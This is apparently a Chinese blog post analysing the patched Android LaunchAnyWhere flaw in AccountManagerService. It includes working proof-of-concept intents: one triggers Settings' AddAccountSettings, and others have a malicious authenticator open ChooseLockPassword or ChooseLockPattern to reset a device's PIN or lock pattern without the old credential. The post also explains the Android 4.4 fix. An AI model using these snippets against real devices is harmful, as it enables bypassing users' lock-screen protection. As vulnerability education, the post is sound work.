launchAnyWhere: Activity组件权限绕过漏洞解析
前言
今年3月份,知名反病毒软件公司卡巴斯基实验室发布了一份关于中国电商平台拼多多的调查报告,称该平台的安装程序中含有恶意代码。这一消息引起了广泛的关注和讨论,也引发了人们对于拼多多平台安全性的担忧
作为技术开发人员,我看到了PDD对安卓OEM源码中的漏洞的深入研究。
了解和学习
Android
漏洞原理有以下几个用处:
提高应用安全性:通过了解漏洞原理,开发者可以更好地了解漏洞的产生机理,进而在应用开发过程中采取相应的安全措施,避免漏洞的产生,提高应用的安全性。
提升应用质量:学习漏洞原理可以帮助开发者更好地理解
Android
平台的工作原理,深入了解操作系统的内部机制,有助于开发高质量的应用程序。改善代码风格:学习漏洞原理可以帮助开发者更好地理解代码的运行方式和效果,从而提高代码的可读性和可维护性。
了解安全防护技术:学习漏洞原理可以帮助开发者了解目前主流的安全防护技术,掌握安全防护的最佳实践,从而更好地保障应用程序的安全性。
总之,了解和学习Android
漏洞原理可以帮助开发者更好地理解操作系统的内部机制,提高应用程序的安全性、质量和可维护性。
LaunchAnyWhere漏洞
这是一个AccountManagerService
的漏洞,利用这个漏洞,我们可以任意调起任意未导出的Activity
,突破进程间组件访问隔离的限制。这个漏洞影响2.3 ~ 4.3
的安卓系统。
有些同学看到这里或许有些疑问,这个漏洞不是在
Android4.3
以后被解决了么?我想要说的是要了解startAnyWhere
就需要了解它的历史,而LaunchAnyWhere
漏洞可以说是它的一部分历史。
普通应用(记为AppA)去请求添加某类账户时,会调用AccountManager.addAccount
,然后AccountManager
会去查找提供账号的应用(记为AppB)的Authenticator
类,调用Authenticator. addAccount
方法;AppA再根据AppB返回的Intent去调起AppB的账户登录界面。
关于AccountManagerService
AccountManagerService
同样也是系统服务之一,暴露给开发者的的接口是AccountManager
。该服务用于管理用户各种网络账号。这使得一些应用可以获取用户网络账号的token,并且使用token调用一些网络服务。很多应用都提供了账号授权功能,比如微信、支付宝、邮件Google服务等等。
关于AccountManager
的使用,可以参考Launchanywhere的Demo:https://github.com/stven0king/launchanywhere.git
由于各家账户的登陆方法和token获取机制肯定存在差异,所以AccountManager
的身份验证也被设计成可插件化的形式:由提供账号相关的应用去实现账号认证。提供账号的应用可以自己实现一套登陆UI,接收用户名和密码;请求自己的认证服务器返回一个token
;将token缓存给AccountManager
。
可以从“设置-> 添加账户”中看到系统内可提供网络账户的应用:
如果应用想要出现在这个页面里,应用需要声明一个账户认证服务AuthenticationService
:
<service android:name=".AuthenticationService"android:exported="true"android:enabled="true"><intent-filter><action android:name="android.accounts.AccountAuthenticator" /></intent-filter><meta-dataandroid:name="android.accounts.AccountAuthenticator"android:resource="@xml/authenticator" />
</service>
并在服务中提供一个Binder
:
public class AuthenticationService extends Service {private AuthenticationService.AccountAuthenticator mAuthenticator;private AuthenticationService.AccountAuthenticator getAuthenticator() {if (mAuthenticator == null)mAuthenticator = new AuthenticationService.AccountAuthenticator(this);return mAuthenticator;}@Overridepublic void onCreate() {mAuthenticator = new AuthenticationService.AccountAuthenticator(this);}@Overridepublic IBinder onBind(Intent intent) {Log.d("tanzhenxing33", "onBind");return getAuthenticator().getIBinder();}static class AccountAuthenticator extends AbstractAccountAuthenticator {/****部分代码省略****/@Overridepublic Bundle addAccount(AccountAuthenticatorResponse response, String accountType, String authTokenType, String[] requiredFeatures, Bundle options) throws NetworkErrorException {Log.d("tanzhenxing33", "addAccount: ");return testBundle();}}
}
声明账号信息:authenticator.xml
<?xml version="1.0" encoding="utf-8"?>
<account-authenticator xmlns:android="http://schemas.android.com/apk/res/android"android:accountType="com.tzx.launchanywhere"android:icon="@drawable/ic_launcher"android:label="@string/app_name">
</account-authenticator>
漏洞原理
普通应用(记为AppA)去请求添加某类账户时,会调用AccountManager.addAccount
,然后AccountManager
会去查找提供账号的应用(记为AppB)的Authenticator
类,调用Authenticator.addAccount
方法;AppA再根据AppB返回的Intent
去调起AppB的账户登录界面。
这个过程如图所示:
我们可以将这个流程转化为一个比较简单的事实:
- AppA请求添加一个特定类型的网络账号
- 系统查询到AppB可以提供一个该类型的网络账号服务,系统向AppB发起请求
- AppB返回了一个intent给系统,系统把intent转发给appA
- AccountManagerResponse在AppA的进程空间内调用 startActivity(intent)调起一个Activity;
- AccountManagerResponse是FrameWork中的代码, AppA对这一调用毫不知情。
这种设计的本意是,AccountManagerService
帮助AppA查找到AppB账号登陆页面,并呼起这个登陆页面。而问题在于,AppB可以任意指定这个intent所指向的组件,AppA将在不知情的情况下由AccountManagerResponse
调用起了一个Activity
. 如果AppA是一个system权限应用,比如Settings
,那么AppA能够调用起任意AppB指定的未导出Activity
。
如何利用
上文已经提到过,如果假设AppA是Settings,AppB是攻击程序。那么只要能让Settings触发addAcount的操作,就能够让AppB launchAnyWhere。而问题是,怎么才能让Settings触发添加账户呢?如果从“设置->添加账户”的页面去触发,则需要用户手工点击才能触发,这样攻击的成功率将大大降低,因为一般用户是很少从这里添加账户的,用户往往习惯直接从应用本身登陆。
不过现在就放弃还太早,其实Settings早已经给我们留下触发接口。只要我们调用com.android.settings.accounts.AddAccountSettings
,并给Intent
带上特定的参数,即可让``Settings触发launchAnyWhere
:
Intent intent1 = new Intent();
intent1.setComponent(new ComponentName("com.android.settings", "com.android.settings.accounts.AddAccountSettings"));
intent1.setAction(Intent.ACTION_RUN);
intent1.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
String authTypes[] = {"自己的账号类型"};
intent1.putExtra("account_types", authTypes);
AuthenticatorActivity.this.startActivity(intent1);
这个过程如图Step 0所示:
应用场景
主要的攻击对象还是应用中未导出的Activity
,特别是包含了一些intenExtra
的Activity
。下面只是举一些简单例子。这个漏洞的危害取决于你想攻击哪个Activity
,还是有一定利用空间的。比如攻击很多app未导出的webview
,结合FakeID
或者JavascriptInterface
这类的浏览器漏洞就能造成代码注入执行。
重置pin码
- 绕过pin码认证界面,直接重置手机系统pin码。
intent.setComponent(new ComponentName("com.android.settings","com.android.settings.ChooseLockPassword"));
intent.setAction(Intent.ACTION_RUN);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
intent.putExtra("confirm_credentials",false);
final Bundle bundle = new Bundle();
bundle.putParcelable(AccountManager.KEY_INTENT, intent);
return bundle;
重置锁屏
绕过原有的锁屏校验,直接重置手机的锁屏密码。
Intent intent = new Intent();
intent.setComponent(new ComponentName("com.android.settings", "com.android.settings.ChooseLockPattern"));
intent.setAction(Intent.ACTION_RUN);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
final Bundle bundle = new Bundle();
bundle.putParcelable(AccountManager.KEY_INTENT, intent);
return bundle;
漏洞修复
安卓4.4已经修复了这个漏洞,检查了Step3中返回的intent所指向的Activity和AppB是否是有相同签名的。避免了luanchAnyWhere的可能。
Android4.3源代码:http://androidxref.com/4.3_r2.1/xref/frameworks/base/services/java/com/android/server/accounts/AccountManagerService.java
Android4.4源代码:http://androidxref.com/4.4_r1/xref/frameworks/base/services/java/com/android/server/accounts/AccountManagerService.java
官网漏洞修复的Diff:https://android.googlesource.com/platform/frameworks/base/+/5bab9da%5E%21/#F0
文章到这里就全部讲述完啦,若有其他需要交流的可以留言哦~!
PS:故事到这里就结束了么?
这个补丁在当时是没什么问题,但是等到2017年,有海外的研究人员在一份恶意样本中发现,可以利用
Parcelable
反序列化绕过这个补丁,由于system_server
中检查Intent,并且又通过AIDL
传给Settings
之后启动界面,这其中跨越了进程边界,也就涉及到一次序列化和反序列化的过程,那么我们如果通过Parcelable
反序列化漏洞的字节错位,通过精确的布局,使得system_server
在检查Intent
时找不到这个Intent
,而在错位后Settings
却刚好可以找到,这样就可以实现补丁的绕过并再次实现LaunchAnyWhere
,研究人员将发现的这种漏洞利用方式命名为Bundle mismatch
。
如果感兴趣可以继续阅读下面的文章:
Bundle数据结构和反序列化分析
Bundle 风水 - Android Parcel 序列化与反序列化不匹配系列漏洞
参考:
申迪的《launchAnyWhere: Activity组件权限绕过漏洞解析(Google Bug 7699048 )》
launchAnyWhere: Activity组件权限绕过漏洞解析相关推荐
- couchdb 垂直权限绕过漏洞(cve-2017-12635)
Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库".它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和 ...
- 众至科技:漏洞通告 | 微软10月发布多个安全漏洞;Apache Shiro权限绕过漏洞;Apache Commons存在代码执行漏洞
微软发布10月多个安全漏洞 1.漏洞概述 2022年10月11日,微软发布了10月安全更新,此次更新修复了包括2个0 day漏洞在内的84个安全漏洞(不包括10月3日修复的12个Microsoft ...
- Discuz论坛附件下载权限绕过漏洞
近日,有网友在乌云上发布了一则Discuz论坛附件下载权限绕过漏洞,能够任意下载带有权限的附件并且无需扣除自身积分.目前Discuz正在处理中,但暂未放出漏洞补丁,有需要的朋友不妨趁漏洞修补之前到各论 ...
- TrendNET路由器权限绕过漏洞(CVE-2018-7034)
TrendNET路由器权限绕过漏洞,攻击者通过设置$AUTHORIZED_GROUP >= 1绕过权限验证 影响版本: TEW-751DR – v1.03B03 TEW-752DRU – v1. ...
- shiro权限绕过漏洞
1.shiro权限绕过漏洞 1.1.漏洞成因分析 Apahce Shiro 由于处理身份验证请求时出错,存在"权限绕过漏洞"(漏洞编号:CVE-2020-11989),远程攻击者可 ...
- iOS 相册权限绕过漏洞
在 App Store 上有一款名叫 "时间规划局" 的应用可以在未获取相册权限的情况下读取照片.可能是 App 调用了苹果的私有库,绕过了系统的授权机制. 在 iOS 12.1. ...
- Shiro 权限绕过漏洞分析(CVE-2020-1957)
1## 前言 2020年3月23号,Shiro开发者Brian Demers在用户社区发表帖子,提醒shiro用户进行安全更新,本次更新进行了三个修复,其中就包括了对编号为CVE-2020-1957的 ...
- Shiro权限绕过漏洞分析(CVE-2020-1957)
这篇是实战:https://xz.aliyun.com/t/10328,不过中间的以下条件的"2.要以路径通配符**结尾"是错的,这个不是条件,只要让路径规范化处理完后匹配上ano ...
- Apache Shiro权限绕过漏洞 (CVE-2020-11989) 挖掘分析和复现
聚焦源代码安全,网罗国内外最新资讯! 1.1 状态 完成漏洞挖掘条件分析.漏洞复现. 1.2 简介 Apache Shiro作为Java框架,可被用于身份认证.授权等任务. 整合Apache Shi ...
最新文章
- 皮一皮:这车是要开上天啊...
- 《信息学奥赛一本通》 高精度加法。输入两个正整数,求它们的和。
- 谷歌浏览器修复一键修复_谷歌发布Chrome 86.0.4240.198 修复两个零日漏洞 - Google Chrome 谷歌浏览器...
- 《Python核心编程》笔记 Python对象
- Homework2-project review score of each team
- C++类的定义和对象的创建
- 北妈每日一题:如何甩锅给后端!
- 数据库字典收集整理,设计数据表时可拿来查考
- matlab 仿真wsn,wsn仿真matlab
- [网站优化实战]公共CDN库/Nginx启用Gzip/全站CDN加速
- 运用matlab求公式 的主析取范式与主合取范式,并求公式的成真赋值和成假赋值。
- 新品齐聚CES 各家首发预示2013智能机大屏四核走向(转)
- python如何调用pyd_C#调用pyd
- mysql常用数据库连接池_Java主流常用的数据库连接池
- 【XSY3325】社保(拓扑序)
- imap服务器收缓存pst文件夹,Outlook 转移OST数据文件 IMAP账户
- 推广有哪些渠道?用好这4个引流渠道日引200
- IE里Window的Method列表
- kali Linux2021安装和配置Cuckoo沙箱系统(详细教程)
- 动软代码生成器 第一次使用出现附加数据库错误是否添加写入权限
热门文章
- 如何将web前端连接数据库
- oculusquest2第三方游戏下载安装方法 附资源安装教程VR一体机分享 Quest2游戏推荐安装教程
- 数视来联系方式 类似 天眼查 企查查 爱企查 探迹 励销云 精线索 源码 开发。企业工商信息接口 视野数科 这种类型的系统开发。
- Windows SDK 10586 安装图
- hbase查看表结构_HBase语法
- 717-C++继承与多态
- ftp改为sftp_如何在 Linux 系统中如何更改 SFTP 端口
- USB OTG学习笔记
- 交通领域,新基建与智慧高速(附4省市智慧高度建设指南)
- ios如何解除dns被劫持_iOS监控-DNS劫持